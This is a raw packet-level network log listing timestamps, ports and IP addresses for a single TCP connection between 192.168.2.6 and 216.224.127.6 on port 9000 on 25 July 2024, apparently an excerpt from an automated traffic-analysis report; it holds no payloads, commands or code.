Jul 25, 2024 13:23:24.455024958 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.455029964 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.455038071 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.455049038 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.455060005 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.455070019 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.455071926 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.455108881 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.455622911 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.455635071 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.455645084 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.455656052 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.455666065 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.455676079 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.455677032 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.455682993 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.455696106 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.455705881 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.455709934 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.455718040 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.455723047 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.455730915 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.455739975 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.455746889 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.455753088 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.455764055 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.455785036 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.456290960 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456302881 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456312895 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456322908 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456334114 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456340075 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.456350088 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456361055 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456372976 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456381083 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.456383944 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456394911 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456403017 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.456408024 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456419945 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456423998 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.456430912 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456443071 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456445932 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.456454992 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456473112 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.456500053 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.456830025 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456841946 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456851959 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456859112 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456868887 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456880093 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456892014 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456903934 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456912994 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.456916094 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.456949949 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.457124949 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457176924 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.457259893 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457272053 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457282066 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457298040 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457304955 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.457310915 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457323074 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457335949 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457343102 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.457348108 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457364082 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457367897 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.457387924 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.457631111 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457642078 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457653046 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457678080 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.457715988 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.457787991 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457799911 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457809925 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457819939 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457830906 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457844019 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457854033 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457865953 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457869053 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.457875967 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457885981 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.457890987 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457901955 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457912922 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457917929 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.457928896 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457938910 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.457941055 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457952976 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.457957029 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.457993984 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.458476067 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.458486080 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.458496094 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.458503008 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.458508968 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.458513975 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.458523989 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.458559036 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.458580017 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.460452080 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.460472107 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.460489035 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.460536003 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.460571051 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.460582018 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.460592031 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.460602045 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.460625887 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.460652113 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.460798025 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.460808992 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.460819006 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.460829973 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.460845947 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.460915089 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.461002111 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461014032 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461023092 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461034060 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461050034 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.461081982 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.461298943 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461311102 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461319923 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461332083 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461342096 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461350918 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.461353064 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461364985 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461376905 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461385965 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.461389065 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461400986 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.461427927 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.461760044 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461771965 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461781979 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461791992 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461802006 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461812973 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461818933 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461823940 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461823940 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.461834908 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461841106 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.461848974 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.461889029 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.515834093 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.515856981 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.515870094 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.515881062 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.515906096 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.515916109 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.515928030 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.515938044 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.515970945 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.515986919 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.515996933 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516002893 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.516006947 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516017914 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516028881 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516040087 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516062021 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.516064882 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516097069 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.516119957 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.516344070 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516359091 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516370058 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516382933 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516447067 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.516469955 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.516599894 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516611099 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516621113 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516630888 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516642094 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516653061 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516654968 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.516664982 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516674995 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516684055 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.516685009 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516696930 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516707897 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516712904 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.516742945 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.516976118 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.516988039 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.517000914 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.517009974 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.517030954 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.517065048 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.517152071 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.517163038 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.517180920 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.517194033 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.517203093 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.517245054 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.517312050 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.517323971 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.517334938 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.517362118 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.517385960 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.519100904 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.519113064 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.519124031 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.519141912 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.519153118 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.519164085 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.519165993 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.519175053 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.519193888 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.519223928 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.519292116 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.519340992 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.529618979 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.529633045 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.529644012 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.529706001 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.529706955 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.529719114 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.529731035 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.529742956 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.529747009 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.529786110 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.529855967 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.529866934 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.529910088 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.529995918 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.530008078 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.530020952 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.530030966 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.530039072 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.530042887 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.530054092 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.530076981 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.530189991 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.530200958 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.530210972 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.530220032 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.530246019 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.530278921 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.530342102 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.530353069 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.530364037 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.530375004 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.530385971 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.530390978 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.530435085 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.531024933 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.531050920 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.531061888 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.531105995 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.531152964 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.531167030 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.531177044 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.531188011 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.531204939 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.531233072 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.531327963 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.531375885 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.548229933 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.548255920 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.548268080 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.548321962 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.548366070 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.548377991 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.548389912 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.548444033 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.548463106 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.548501015 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.548513889 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.548526049 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.548543930 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.548643112 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.548654079 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.548666954 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.548691988 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.548723936 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.548748016 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.548865080 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.548877954 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.548888922 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.548899889 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.548912048 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.548913956 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.548923969 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.548935890 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.548945904 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.548968077 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.549176931 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.549190044 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.549200058 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.549211025 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.549221992 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.549226999 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.549257994 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.549463987 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.549474955 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.549485922 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.549499035 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.549509048 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.549510956 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.549515963 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.549527884 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.549530029 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.549541950 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.549561977 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.549571037 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.549607038 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:24.603540897 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.603580952 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:24.603595018 CEST	9000	49712	216.224.127.6	192.168.2.6
